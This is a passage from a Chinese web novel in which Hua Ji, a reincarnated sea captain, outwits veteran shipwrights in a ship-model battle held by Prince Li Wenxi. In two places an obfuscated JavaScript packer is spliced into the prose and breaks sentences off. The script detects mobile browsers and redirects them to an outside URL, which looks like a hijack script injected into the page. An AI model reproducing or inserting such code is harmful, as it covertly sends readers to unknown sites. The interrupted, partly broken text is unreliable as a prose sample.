“不不不。”李文晞连忙摆手否认，“花棘所说，句句逻辑通顺，条理清楚，本王信服。” “哦。” 花棘听完也不知道该怎么回复李文晞，就敷衍着说了一句：“他们既然连皇子都敢谋杀，所用的必然都是自己人，殿下很难找到证据实属正常。” “花棘放心。”李文晞一手横于胸前，一手负于身后，忽而兴趣盎然了起来，“本王虽然不擅长断案，但是本王很擅长做伪证的，人找对了，钱给的够多就行。” “所以，有了花棘的点拨，这一次谋害钦差的罪名，本王一定能给他们扣牢。” “嗯......好。”花棘着实被眼前这位皇子的三观震惊到了，到底是帝王权谋养出来的人啊。 眼见事情说完，案前需要她完成的工作还有许多，官场上的事情她再帮不上什么了，便干脆地下了逐客令。 花棘委婉劝退：“夜深了，殿下早些休息吧。” 是以李文晞眼中两簇明灿的星点刚一亮起来，就被花棘给浇灭了，脸上神色变化微妙，只得保持微笑默默退后几步，眼睁睁看着面前人将房门关了个严实。 婆娑树影下只余一人院中独立，蝉鸣复又聒噪了起来。 李文晞已走出好远，房檐上瓦片碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836260|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂的细小声响才渐渐传来，此后，只怕他这临时置办的私宅，都再难有太平的晚上了。 好在，他有些意犹未尽地回头看向身后，至少有一方天地的安宁，他可以守护得很好。 距离将清单上的物品全部采买齐全交与花棘，转眼已是十日的时间。 这十日里，李文晞与老师范如芥两人抽丝剥茧地，将漓州城官场内的每一个人，全部放在了棋盘上，逐一推演计较谋划，而花棘则是一直闷在房间里，几乎没见怎么出来。 每每一天的忙碌之后，夜晚他总是习惯来花棘的小院里走一走，借着窗棂前微弱的烛火，看着那一抹案前的身影，几乎是夜夜静坐直至天明。 先前被偷偷插在门边一角的竹蜻蜓，在他第二晚过来时就不见了，怀着一丝侥幸的窃喜，他于是每晚离开前都要在同样的位置，留下一个精致的木质小玩具，一连十晚未有重样。 凉风自缓慢离去人的衣摆间穿过，窥探入门窗狭窄的缝隙，猛撞在油灯跳跃的火苗上，带起一阵光影摇曳。 正紧盯着面前图纸沉思的花棘，忽而放下了手中毛笔，疲惫地狠揉了两下眼睛，案前标记的密密麻麻的草纸散落各处，都是船舶各处细节拆解的结构图。 “花棘”原本的记忆都安放在她的脑海里，她消化着想了几天，还是没办法突破时代材料与科技的制约，以她现在的权限，更遑论得到任何水军武器的支持，因而，想要打造出一艘能够所向披靡的船，就只能自己动手改。 只她一个人在纸上再多次的推演也是无用，必须要有足够水平的对手，先来一场实战切磋，所有的变数才算是真的有了答案。所以，她先是做了一个等比例缩小的模型，并已让李文晞将自己的想法传达了出去。 花棘起身，伸展着活动了一下双手与脖颈，往灯盏内新添了燃油之后，又回到桌前坐了下来。今夜，是临约定时间前的最后一晚，她要将所有细节在心里再过一遍。 焦躁的闷热不知何时退得彻底，满室昏黄内照进了第一缕浅蓝，清脆的鸟叫惊扰初醒的天光，油灯燃了又灭，案前稳稳端坐的单薄身影，终于从容地放下了笔。 桌案一角，一连十个木质的小玩意儿整齐摆列，花棘匆忙扫了一眼，神色淡淡，收起所有标记的图纸后，她快步走去了床铺，时间还早。 极度疲惫之后的深度睡眠很有效，待侍女们前来陪伴她洗漱时，她眼角眉梢间的疲态已然消失一空，甚至隐隐有一股抑制不住的兴奋正在往外冒，就像是面对重大考试前的跃跃欲试，她从前一向很擅长拿满分。 一切准备就绪，花棘放松地在小院内闲逛，不多时，又有侍女前来通报。 “花棘姑娘，所有船匠均已到齐，正在前厅等待。” “好。” 她轻声应过，而后，继续遥望着梨花树雪白的树梢，半点不见要离开的意思。 没人知道这位冰雪聪明的女子到底在想些什么，也再未有人进院催促。 花棘心里暗暗记着时间，约莫快一个时辰过去之后，这才带着早已做好的船队模型出了门。 7.第七章 花棘走在长廊内，距离门边还有十几步的时候，就听到了房内传出的争吵，言语交锋间愈演愈烈，已然有了要打起来的气势。 交叠的声音里，有的中气十足，有的苍老沙哑，她一步一步走近凝神听着，全是男人们在说话，唯独没有一点女子的声音。 她身着襦裙行至门口，一人形单影只地站在背光处，是这里唯一的异类。 可她清瘦的脊背挺得笔直，神色从容不迫，目光坚定，抬脚跨了进去，扬声开口： “诸位，久等了。” 犹如一粒石子骤然坠落山泉，喧嚣在霎那间戛然而止，所有视线尽数汇于一抹青衣之上。 花棘就迎着那一道道或是惊讶，或是质疑，或是探寻的目光，兀自走到一处无人的角落，入座后拿起茶盏，旁若无人地慢慢饮了起来。 又能怎么样呢？ 是年仅十八岁未出阁的女子？ 还是入水不详，活似鬼魅？ 亦或委身权贵，爱慕虚荣？ 她漠然放下茶盏，环顾向满室男子赤裸裸的目光，丝毫不觉得如何。 在绝对实力面前，都不过是她高飞时，羽翼上的一点灰尘罢了。 而今日这些人之所以会聚在这里，不正是为了助她证明这一点的吗？ 上一世，从入学成为班上第一位航海技术专业的女生，到专业课分数全部接近满分，再到集齐几乎所有从业相关的证件。上船以实习船员起步，逐步晋升为三副、二副、大副，最终通过考试和资历认证，二十七岁的她，依然成为了业内最为年轻的远洋女船长。 性别偏见，无论是前生还是今世，在她花棘这里，都一文不值。 “花家姑娘。” 人群中一道年迈沙哑的声音忽而响起，那声音很轻，刺入进在场每一个人的耳膜里却意外很清晰。 随着话音慢慢落下，立于地面中央的一众男人们，无论年纪小一些，还是年纪稍长的，都默契地自发向两侧散开，露出了坐在里面最远处一个老者。 那人穿着一身已然洗得褪色了的深青色圆领袍服，头戴同色系幞头，幞头边露出的灰白色长发，被打理地一丝不苟。 老人肤色黝黑，是常年在户外暴晒的缘故，因此看起来要更苍老一些。一张饱经沧桑的脸上皱纹遍布，好似粗糙的树皮，然而眉宇间迸发的光芒却是精神矍铄，神采奕奕，自有一股不容逼视的威严。 花棘认得他，这是老父生前年轻时最重要的好友，梅别鹤，字青山。 梅别鹤是曾经漓州城的船匠里一等一的好手，老父花铭便是他一手带出来的，整个大绥国境属漓州的漕运事业最为发达，所以也可以说，在过去的很长一段岁月里，梅别鹤就是这个时代船舶建造技术的天花板。 漓州的漕运事业经历无上繁荣之后，又于内部极速腐败溃烂，梅别鹤正值壮年，被更为年轻听话的新人们所取代，一身顶级技艺再无用武之地，如今，只落得个在码头照看和修护私家船只的营生。 这人嗓子不是天生这样的，是后面在码头做事时，与漕帮的人发生摩擦，被河水硬呛伤的，赖在身上几十年了，再也没好过。 有如此前尘羁绊，她又顶着“花棘”的身份，今次，理应叫一声人。 “梅叔。” 梅别鹤斜了一眼过来后，便不再看她，视线移去别处，沙哑的声音悠悠流出，如同钢丝摩擦过生锈的铁板。 “本以为是哪位富商得了什么大生意，缺人保驾护航，不想，随口将我们这群老东西挥之即来的，竟然是你花家姑娘。” “到底是我老头子孤陋寡闻，竟不知花家什么时候，又多了这么一个有权有势的亲戚。” 梅别鹤的话里句句带刺，起完一个头之后，旁边早焦躁地沉不住气的其他人，也跟着应和质问了起来。 “花棘！” “你使手段叫我们来，又故意晾着我们不管，是不是故意的！” “不是说好的要切磋比试，你这是什么意思！” 眼见有人话说的越来越难听，此时，站在对面的几个人忙出来厉声劝阻。 “吵什么吵！有话不能好好问吗。” “花棘，你和你父亲，桃风他......不是都遭了意外了吗？可那日为何，又会突然现身在漓江河岸？” “哼！”人群后有声音当即怒骂，“黄花姑娘抛头露面，还自己下水，逞什么能啊。” “说什么呢！会不会说话啊你！” 来回几句话的功夫，一屋子两相对峙的男人们再度吵成了一团。 花棘端坐外围看得清楚，原来方才她进门前的那番激烈争执，也不仅仅是因为她的迟到啊。 她并不知道李文晞是如何将这些人聚在一起的，她大概扫完了一圈，里面差不多都是熟脸，有一大半以上都是和老父关系不好的人。 老父很少和“花棘”提前从前与梅别鹤之间的交情，但流言无孔不入，“花棘”从小到大听到过最多的，便是骂她父亲是忘恩负义的白眼狼，是专门帮着漕帮一起做坏事的恶棍。 花棘冷笑一声，扬手将桌上的茶盏扔了出去，清脆的裂响骤然乍起，四下总算再度安静了下来。 “是在问为什么让诸位久等了吗？” 花棘消瘦的下巴微扬，神色清冷，语气傲慢。 “哦，烦请见谅，我，起晚了。” 随即有人怒目高喊：“你——” 梅别鹤抬手将人叫停，哑声开口问道：“下帖邀我们比试斗船的，可是你？” “是我。”花棘直视上去。 梅别鹤目光如炬，布满褶皱的双眼微眯，追问：“为何？” 花棘听完，看着人浅笑了一下，而后，低头玩味地摆动起手指，并未有丝毫要作答的意思。 周围躁动再起，花棘始终嘴角含笑，今日两方人的碰撞就是要越激烈越好。 各式嘲讽轻视的话语尽数流经耳畔，她也不生气，反倒听的津津有味。 “你个十几岁的小辈要迎对我们所有人，当真是不知天高地厚！” “别是和她那死爹一样，都是个攀附权贵的主，在拿我们当乐子耍着玩儿吧？” “女娃子而已，能懂个什么，跑过船吗？” “呀！怕不是人家还有什么咱们不知道的手段吧，嗯？哈哈哈哈哈——” 门外一串密集的脚步声由远至近，提前有人高声传报： “晨王殿下到！” 室内乱成一团的怪笑悉数止了，所有人都谨慎又惊恐地站了起来，只有花棘仍旧端坐角落，一手支着下颌看向虚空中的一点，不动声色。 “是本王来得迟了。” 接连涌入的侍从们井然有序地从中散开，一语作罢，一身锦缎红衣，头束金冠丰神俊朗的李文晞，负手摇着一把雪白的象牙扇大步跨进门内。 船匠们半低着头，询问的目光都落在眼前难得一见的皇七子身上，可这人一路笑着，看也不看满屋的船匠们，步下生风径直走去了花棘面前，款款停下。 李文晞略俯下身，满意地欣赏着花棘脸上的惊讶，温声问：“花棘先生，可等的倦了？” 先生？ 花棘秀眉一蹙，不明白这李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“反之，若师傅们输了，本王也不会让大家白出力，上面的一盘白银，便当作本王无端叨扰的赔礼吧。” 李文晞压低视线，微微向前倾身，沉声问：“师傅们，意下如何？” 花棘听着一道道震惊的吸气声频频响起，下方十六人彼此面面相觑，却是谁也不敢率先开口说话，全然没了先前面对她一人时的嚣张气焰。 末了，一众目光游荡着，最终尽数汇集在了梅别鹤身上。 梅别鹤起身，向着李文晞郑重行过一礼，哑声道：“我们应了。” “哈哈哈，好！”李文晞大笑，后仰回椅背。 花棘讶异地看着李文晞，她心知这人每晚都会来她的院中窥探，却从未有任何进一步的打扰，对于她所造的船最终结果如何，更是从不追问。 她不清楚十六箱黄金对于一个郡王来说，到底算得上什么，但她那院落一角堆着的，所谓陆穷年的“好意”，倒是连这的三分之一都比不了。李文晞出手这样阔绰，她如果真输了，岂不是亏大了。 李文晞很快注意到了花棘的目光，自然也明白，她何以会这样目不转睛地盯着他。 遂有些骄傲，又有些得意地望了回去，朝着她轻眨了一下眼睛，开心道：“不过，本王可不觉得花棘先生会输。” 花棘无奈地笑了，她想不到，竟被这样幼稚的一句话，莫名燃起了斗志。 她索性放纵了自己的高傲，起身，挑衅地看向下方众人。 “既如此，还请诸位前辈，不吝赐教，献与浑身解数拦截我的船。” 8.第八章 “花棘”小时候曾疯狂憧憬过，漓州一年一度的斗船盛况。 那还是漓州城漕运事业最蒸蒸日上的时候，每年固定选为斗船大赛的那一天，也被所有漕运人奉为最重要的节日。斗船大赛头彩的惊艳，总是与未来一年航船的顺利息息相关。 斗船时，斗船者双方会带着各自提前做好的船只模型，于河水中彼此对立航行，相遇在狭窄的河道内，互相控制船只争斗、摩擦，最终，能够安然通过河道的一方获胜。 是早些年间，航船过程中经常会遭遇水贼拦截，事故频发，后面才渐渐有了这样的传统，只为淬炼更为年轻一代的漕运人，应对航行中危机情况的能力。 漕运一行人才辈出，少有人能够连续两年都拿到第一，连续三年霸占榜首更是凤毛麟角，这么多年，梅别鹤是唯一的一个。 斗船采用的河流模型，是漓州人最熟悉的漓河，一段为无数漕运人烂熟于心的河道，鬼哭峡。 场地设在一处空旷且安静的偏院内，院落中央用砖石和泥沙模拟出了，以鬼哭峡为中点向两边延伸而出的水流，通过一侧竹筒的自动补水装置，甚至将漓州河水惯常的流速都控制地大差不差。 斗船所用的船只模型有固定的尺寸，花棘大概心算了一下，看来眼前鬼哭峡同比例缩小后的宽度，应该也都是反复测试之后，才能像现在这样精准。 院落相隔最远的两个斜对角，各设置了三面用以遮挡的屏风，供斗船双方商议策略。 斗船开始，参赛双方均不可再碰自己的船，所有操作都会由选定的副手代为操控，以保证绝对的公平。是而，屏风一侧还放置了一张供书写的桌案。 斗船过程中，船只行进的每一步都会提前书写在纸上，交由监督者逐步展示，判定切磋结果。 不得不承认李文晞的场地布置真的很用心，除了整体规模略显局促了一些外，情形几乎与“花棘”记忆中的样子没有分别。 漕运一行如今乌烟瘴气，斗船比赛更是有近八年没有见到了，李文晞作为一个初来漓州的外地人，竟然还能复原成现在这样，可知背地里花了多少心思。 时间已经临近正午，今天倒没有前几日那么热了，阳光变得格外温顺，淡蓝色的天空之上，云层散滥，安静地飘着。 花棘几率垂落脸颊一侧的发丝，叫微风轻轻吹乱，在检查完比赛场地后，她径直走去了逆风一侧，那是下贴发起挑战人的位置，这是规矩。 她率先将带来的船队模型，依次亲手放入水中摆好，远处不同方向上，数道窥探的视线无遮无拦地看了过来，每个人都在好奇，这个放下豪言的年轻女子到底会拿出什么样的船。 但结果似乎让他们很失望。 花棘的船队中共五艘船只，呈一二二队形前后排开，那仅仅是五艘市面上最常见的货船，船身冗长笨重，吃水深，行进速度慢。在斗船比赛中，与追求速度和轻便的民用船只相比，没有任何优势。 花棘没有理会那些目光，放好船只走去屏风后的路上，她心里想的完全是另外一件事。 她想到了自己大学时代疯狂迷恋的全国航海模型锦标赛，从小就喜欢研究各种手工的她，大概是所有船长中，对船舶结构最熟悉的了。 模型锦标赛分耐久拉力、方程式内燃机追逐、三角绕标竞时、遥控帆船、仿真航行等等各式竞赛单元，其中，她最喜欢三角绕标。 她喜欢出其不意的变换，喜欢天马行空的灵活，喜欢不顾一切追逐第一的竞技感。 从前的比赛里，船舶模型之间不存在对抗的发生，可这里不同，接下来要发生的猛烈对弈，早在组建模型时，就已经开始让她兴奋起来了。 她想，比起竞技，她更喜欢的，应该是那种在水上乘风破浪的感觉，去拼、去闯、去击败所有，去建立只属于她自己的王朝。 屏风后方，眼前半被遮挡着的视野，让她出现了一阵阵的记忆混乱，这是“花棘”印象中最为熟悉的视角。 当年，又瘦又小的女孩，只能拼命挤到靠近屏风后方的位置，通过隐约的几条缝隙，观看着斗船的激烈场面。 “花棘”是那样的渴望，有一天也可以站在屏风旁，提笔案前，操控着自己设计的船只。 因为有这份执念在，她便一直觉得“花棘”还住在这副身体里，从来也不曾离开。 今日圆梦，该是她们两个人一起要面对的战斗。 随着各个位置的人全部就位完成，李文晞端坐正中，朗声道出了一句漕运人从小听到大的话。 “窄道遇，争斗起，万鬼悲哭声声断，双船谁能过此峡。” 时隔八年的斗船比赛，正式开始。 首次碰撞，双方暗下，各自出招。 花棘俯首案前，提笔，闭眼回想，鬼哭峡处的河面特征全然浮现在脑海中。 自东方奔涌而来的河水，在正午阳光的照耀下变成了闪动的金黄，河岸两边碧草茂盛疯长，湍流的水潮一路蜿蜒向下，陡然收紧于一处仅四丈宽的河道内，而后拥挤着猛地泄出，再经由一个急转的直角弯道，方才浩浩荡荡地重新铺陈远去。 此处，便是鬼哭峡。 因这段河道时常出事死人，夜晚河水流经这里的声音，每每听来，又都像是有群鬼不停痛哭一样，故而得名。 花棘所操控的大型商船，船体笨重，宽度是标准的一丈八，即便没有人阻拦，想要两艘船一同交错而过都实属勉强，而后面一段急转的弯道，更是凶险非常。 梅别鹤率领的船队，是五艘更为灵活轻便的民船，前三后二，殿后的两艘会稍微大上两圈，摇摇地跟着，即便，花棘能够突破前面三艘船的阻拦冲到后方，主动权也还在对方手里。 古代船只的行进动力主要还是靠风帆，逆水行舟，她早准备了人力踩踏的轮桨驱动装置。八月底的风不算大，但她落笔的第一步还是先叫停了行船，保存船员体力。 至于，这第二步...... 既然他们已然先入为主地否定了她的能力，那她便顺从这份傲慢。 花棘速度很快，一挥而就，不过片刻功夫，便招手叫人来取字条了。 对于她来说，此番博弈更像是在下象棋，要紧的不是自己该怎么做，而是提前预判对方的反应，引着人主动走进她精心布好的陷阱里才对。 回合计时结束，双方字条尽数交至监督者手上，由其依次按顺序宣读，另有代为操控的副手们，凭指令完成对船只模型的 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而她面前正展开的一张纸上，早提前写好了一字——箭。 桌边一角光影斑斓，清风在檐边的阴凉处缓缓吹起，墨迹方才干透。 轮到梅别鹤方进攻的时候，老船匠们并没有客气，直接使三艘更为灵活的民船同时推进，一点一点将花棘更为笨重的头船，圈死在了狭窄的河道边。 花棘无法，只得不断后撤，眼下，任谁看都是必输的局面。 李文晞忍不住倾身向前，几度调整视野角度，朝花棘的方向张望。花棘的位置远在院落的另一端，又有屏风挡着，让他想要看一眼她此刻的神情都做不到。 虽然，他从未怀疑过花棘的能力，可......耳畔不时传来的都是另一侧屏风后，船匠们幸灾乐祸的嬉骂，他怎能忍得了那群老东西们这样欺负她。 正当李文晞焦躁难耐时，一直立于一旁观摩对局的范如芥忽然开口。 “花棘姑娘这一计，高，实在是高啊！” 范如芥一边说着，一边轻捋胡须，不住地摇着头，一双苍老的眼睛里，流露出的全然都是仰慕之色。 “老师，此话怎讲？”李文晞问道。 “一群老阴逼们，可真是沉不住气。”范如芥蔑视地骂了一句，这才回应道，“殿下，难道没看出来，花棘姑娘正是在等着他们靠近吗？” 院落一角的屏风后方，花棘的嘴角渐渐扬起，直待那三艘民船已碰触到自己头船的船体时，这才招手叫人过来，交出了面前提前写好的字条。 这一次看过字条内容的监督者，并没有立即宣读上面的内容，而是将字条直接交给了负责操控花棘船只模型的副手。 李文晞视线紧紧地落在副手身上，只见，那人走至河道中央，俯身蹲下，伸手在被三艘民船围困的商船上方快速摆弄了一下。 咔嚓！ 空气里随即乍起了一道脆响。 花棘那笨重冗长的头船下方，猝然伸出了一条条锋利的长刺，蛮横地直插入周边三艘民船的船身。 对局霎时扭转！ 9.第九章 “漂亮！” 李文晞说着，折扇一收，直接激动地站了起来。 他于是，总算完整地看到了院落一角，那抹单薄的青衣。 阳光明亮刺眼，被整齐地切割在阴影之外，微风如许，花棘依然是坐在案前的姿态，但与先前那十晚隔窗遥望的背影不同，这一次，他清晰地看到了花棘的正脸。 她在笑。 莹润的薄唇扬成了一个好看的半圆，似是有一种无形的力量，就从那半圆的尾端开始，让一半冷艳的侧脸，全部柔和了下来。 黛眉与狭长的眼角层叠波动，仿若春日里欢快的河水，跳跃着融化晶莹的白冰。 花棘笑的很开心，那样的笑靥纯粹而美好，合该出现在十八岁少女的脸上。 提笔案前的她，衣衫素色，青丝低垂，周身一派娴静文雅，一股又一股难言的骄傲频频涌上胸腔，直看的李文晞澎湃难抑。 如果说花棘一处是全然的静，那屏风后的另一边，则是彻底的躁动。 没有人能够想到，被逼至绝路的小姑娘居然还会出手反击，而且是以如此狠辣的方式，分明是早已筹谋好的算计。 对于花棘的质疑和争论更加高涨，自诩在漕运一行深耕多年的他们，接受不了一位女子的贸然挑衅，更接受不了这女子身上，竟还有着他们从未预料到的才能。 不过，到底年纪在那里，火候欠缺，根本没有真正出船走水的经验，终究纸上谈兵罢了，又岂知他们不会也留了后手。 人群中梅别鹤半抬了一下手臂，周围跟着噤了声，接着，他俯身上前，饱蘸浓墨，开始在纸条上写了起来。 花棘所造的商船虽笨重冗长，可这是缺点，也是优点，船身够大便也意味着，对局者需要更多的思量才能看清楚，那过大的船体之下掩盖着的到底都有什么。 船队在行进时，往往会以多艘船同时在前，来保证意外发生时的从容应对，花棘虽然前后五艘船的吃水都很深，但为首的一艘始终脱离队伍，摇摇牵制在前，必定暗藏玄机。 只是，梅别鹤意味不明地轻哼了一下，他怎么也没料到，小丫头用的会是这么一个法子，倒叫他有点刮目相看了。 自古冲锋的战车上时常会出现这样的设计，能够大胆引入进船只的建造中，当真是难得一见的天才。 如此，便由他这老东西，来好好试一试小丫头的深浅。 监督者看过字条，依旧是直接交给副手，所有人都屏气凝神，视线紧跟着副手的动作，翘首等待接下来的对撞。 咔！ 咔！咔！咔！ 一连几道短促的脆响后，花棘插入进民船船体的长刺，被全部卡死在了里面，再无法挪动分毫。诺大的头船就这样如同搁浅的困兽一般，被再度抓死在了原地。 连范如芥的心都被提了起来，不住地向模型碰撞处快走了几步，反观正处于风暴中心的花棘，却是云淡风轻地笑了起来。 她开心于自己的对手并不弱，这会让她更加好奇，更想要去了解，在这个时代之下，顶级船匠们的智慧。 敢诱敌深入，她自然想好了反击的手段，只是长刺毁船怎么能够，她要更多。 一回合得胜，接下来，依然是梅别鹤一方率先动手，继续进攻。 李文晞自高处眼看着三艘民船，仗着更为灵活的优势，在彻底牵制住商船后，正不停地用自己坚硬的船头，彼此配合，分不同位置撞击商船的龙骨。 “不好！”范如芥在旁边大叫道，“花棘姑娘的船有危险了。” 李文晞闻言，神色冰冷地看向老师。 范如芥解释：“漓州船匠的造船技术代代相传，工艺高超，他们是最熟悉用材与船体结构的人。” “模型上看来还不算明显，但三艘民船的船头，明显用的是更为坚硬耐损的柚木。”范如芥说着，斜了一眼屏风后正欢呼庆贺的众人，语气不快，“这群老阴逼们，早预想会有这么一步。” “用不了多久，一旦船体龙骨受损严重，花棘姑娘的头船就要沉了。” 范如芥说着，愈发泄气，“这还只是模型，如果真的被困在鬼哭峡，逆风与湍急的水流之下，花棘的船恐怕早都已经解体了。” 来自于对手的提前欢呼，无形中更增添了落败者的压力，所有的悬念与期待再次来到花棘这一边，等不及的程峰更是快步走去了屏风后方，紧盯着花棘接下来的动作。 在所有人的眺望下，只见，那一抹单薄的青色身影，不急不缓地倾身向前，拿过字条，展开铺好，提笔，蘸墨，然后，成竹在胸一般地稳稳落笔，指尖游走，留下寥寥几语。 处于远处的李文晞和范如芥，根本看不清她到底写了什么，但置于近前的程峰在看过纸上的文字后，看向花棘背影的目光里，展露出的尽是由衷的敬意。 字条很快被传到监督者手上，谁知这一次，监督者在看过上面的指令后，震惊之色难掩，竟是直接小跑着亲自将字条交给了副手，并跟着一起围观在模型旁，心急如焚地等待着。 副手反复确认过字条上的指令，又在船体上仔细找准位置之后，这才抬手按下了一个小巧的机关。 机关按下去的一瞬间，四周嘈杂的一切全部安静了下来，可众人就那样紧盯着，些许时间过去，几经解体的商船依旧没有任何动静。 是怎么回事？ 花棘的这一步，到底要做什么？ 正当细碎的聒噪再度开始复燃时，忽然，一连串清亮的落水声响了起来。 ——花棘的商船外围，竟然分离成整齐的数块，自行解体了，剩余船体比之原来足足小了三圈。 此番操作一出，彻底震惊到了在场的所有人，刚刚还在屏风后欢呼雀跃的船匠们，经此全部成了炸不出声的哑炮。 每个人心里都在忍不住问：她竟然还可以这样做？ 整个院落一时间宁静地只剩下，花棘慢饮过清茶后，将瓷盏放置回托盘内的轻响。 不久，终于有人按耐不住，在屏风后大叫了起来。 “她使诈！” 随即一旁快速跟上应和：“对！没错！就是在使诈！” “船身怎么可能中途解体，根本没有这样的 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堪称完美的一连套应对操作，以绝对实力，撕烂了那些大言不惭人的嘴脸，叫他们无颜再敢多说一句。 李文晞愣怔在原地，喃喃道：“原来，这看似两方的对抗，终究不过是她一人的局。” 此刻正在发生的一切，花棘到底是在多久之前，便全数了然于心的呢...... 是那些形单影只，静坐案前，一个又一个沉思至天明的长夜吗？ 李文晞的视线一路越过院落中潺潺流动的河水，越过蝉鸣吵闹的月色，越过梨花倾斜的树影，越过八月暖阳的暗香，落定在花棘俯首时，眼角漫撒出的点点微光上。 那微光好小、好远，他需要看的很仔细才行。 可就是那一点点灼人的明亮，沉默在阴暗里，却比夜幕高悬的星子还要闪耀。 正午已过，太阳开始向西倾斜，房檐下的阴影渐渐偏移，有暖黄的光晕照入进桌沿一角，花棘伸长胳膊，将一只微凉的手送了过去。 阳光照耀在一张有些苍白，布满了伤痕的手掌上，泛起一层透明的晶莹，像漂浮的水光。 这一定不是鬼哭峡的水，鬼哭峡的江水湍急奔涌，浩浩荡荡，磅礴到花棘仿佛一闭上眼，就能听到那白浪滔天的鸣叫。 而她所带领的船队，此刻正行进在那条熟悉的河道，沉重的船体撞击开多余的泥沙，刮扯断拦路的疯草，逆风而上，一往无前，是蓝天下展翅高飞的雄鹰。 随着第一艘船顺利通过狭窄处的河道，于陡然放宽的直角弯处急转而过，后面一连四艘船也跟了上去，花棘看到了拦截在前方的最后两艘船。 体型较之前稍大的两艘民船，并排分列在河道两边，能够明显看出来吃水很深。沉入下方的部分污浊一片，无法窥探更多，但这情形，如是没有诈就怪了。 然花棘落笔，一蹴而就，像是根本没看见那两艘民船一般，将之前将歇的动力全部提了起来，命打头的两船全速行进，直冲向前。 现在是她的回合。 10.第十章 范如芥背手站在模型旁边，看着副手执行着最新收到的指令，眉心紧皱，满脸都是疑惑。 “老阴逼们放这样的两艘船在这里，中门大开，吃水还格外深，明显是在河面下方设置了锁链拦截。”他想不明白，焦急道，“这么简单的陷阱，以花棘姑娘的眼力不可能看不出来啊？” 李文晞见状移步走来了近前，经过刚才一番，他对花棘已然形成了一种盲目的信任，尽管并不知道她这样做意欲何为，但他却一点都不会担心，反而对接下来要发生的事情，隐隐的都是期待。 另一侧屏风后方，这时也意外地安静，所有人的注意力都被再次吸引了过来，数道惊异的目光汇于一处，他们都想知道，这个屡出奇招的女子，这一次又是要干什么。 似乎惟梅别鹤一人气定神闲，自顾自地重新斟了一杯新茶，就着温热缓缓饮了起来，那感觉......像是他早已经猜出花棘要怎么做了一样。 沙石搭建的河道中，花棘两艘冲锋在前的商船，在经过相隔的民船之间时，船身俱是猛然一颤，河水下方跟着传出锁链碰撞的声响，正如范如芥预料的一样。 然而，紧接着，商船注定的破损与倾覆却并未出现，花棘的两艘船竟然完好无损地冲了过去。 如同滚烫的热油锅里突然溅入水花，四下当即乍起了激烈的争吵声。 “不可能！肯定是机关出了问题！” “她难道是飞过去的不成！” “木质的船身，怎么可能抗衡得过铁质的锁链......” 梅别鹤依旧旁若无人地饮着茶，于一片吵闹声中端然静坐，并不急着去看眼前对局的结果。 又过了一会儿，不知是谁第一个反应了过来，犹疑地反问道：“是我看错了吗？花棘姑娘前面越过去的那两艘船，船身是不是矮下去了三寸？” 情况猝然直转，闻声，越来越多的视线随之望了过去。 “是的！没错，船身是矮下去了！” “这是怎么回事？” “好好的船，河道内水流的情况也没有变，怎么会突然矮......” 站得离两船模型最近的李文晞，率先发现了异样。 他倒没有漓州的船匠们那般眼毒，注意到的不是船身是否变矮，而是发觉河水下方有突兀的暗流涌动，似是有什么东西正挣扎着要浮上来。 果然未过多久，浑浊的河水表面先是冒出了一连串气泡，而后，第一个水槽一样的空壳翻了上来。 接着，是第二个。 “这......这水槽......”范如芥见此，马上反应了过来，“这水槽的尺寸，不是刚好跟那两艘商船的船身，宽度一样吗！” “原来如此，原来如此。” 范如芥不住地摇着头，轻捋胡须连连称赞不已。 “这到底是什么样巧夺天工的技艺，竟是在行进过程中，船只下方便完成了解体，花棘姑娘今日，是真的让老夫开了眼了。” “两艘商船在行进过锁链拦截时，连一点滞涩都没有，可知，花棘姑娘是连对方设置锁链的深度，都计算的丝毫不差。” 旁边的李文晞笑而不语，只眼睛偷偷地又瞄去了花棘的方向。 方才还争吵激烈的屏风后方，现下传出的全是此起彼伏的惊叹声，再也没有任何侥幸和意外，是真正的叫人心服口服。 斗船双方所用的船只，都是在比试开始之前就已经准备好的，且均为参赛者自己亲手设计，对局走到现在这一步，足以说明花棘将今日所有可能出现的情况，全部提前设想到了。 就在此时，一片静默之中，许久未有动作的梅别鹤突然招手叫人过来，将不知何时写好的字条递了出去。 这下，换成是花棘好奇了，还是第一次，她仰头向着模型对抗处望了过去。她很想知道，已经到了这个时候，梅别鹤还能使出什么样的手段来拦截她。 看过字条的监督者神色平常，行至副手身旁，俯身在其耳边低声说了些什么，副手立马会意，如先前一样，倾身在两个船只模型边，摆弄了几下后，继续立回一侧站好。 而位于屏风之后的花棘，是根本不可能知道梅别鹤这一步到底做了什么的，眼下，她只能选择带领船队保持一二二的队形，继续向前推进，用双脚来探出梅别鹤的意图。 一二二是花棘前世最惯用的船队行进方式，这样的队形下，在遇到突发状况时，为首一船即是用以实验的先驱，也是牵制出击的先锋。 因此，头船一向是船队的重中之重。 先前与梅别鹤方进行过激烈碰撞的那一只船，又被她放回了头船的位置，由于船身大面积解体过的缘故，这艘船现在是船队中最轻，最灵活的，有它在前，花棘可以有更大的概率免于被动。 而后的一段行进里，几乎算是风平浪静，在未有任何阻拦的情况下，她的头船不时便可通过鬼哭峡水流最为湍急的弯道，驶入开阔和缓的水域。 但，一手食指正轻敲桌面的花棘忽地睁大眼睛，猛地定了下来。 不对。 时间不对。 按照这段线路的距离，以她给出的动力强度，这个时间应该已经能驶出弯道了才对。 是哪里出了问题？ 梅别鹤的船队追击不及，都还远在她后方，隔着这么远的距离，不可能再动什么手脚。 花棘左手横在案上，撑着一侧脸颊，右手的食指与中指交错，急促地在桌上不停地点着，一定有什么外力干扰到了船只的行进。 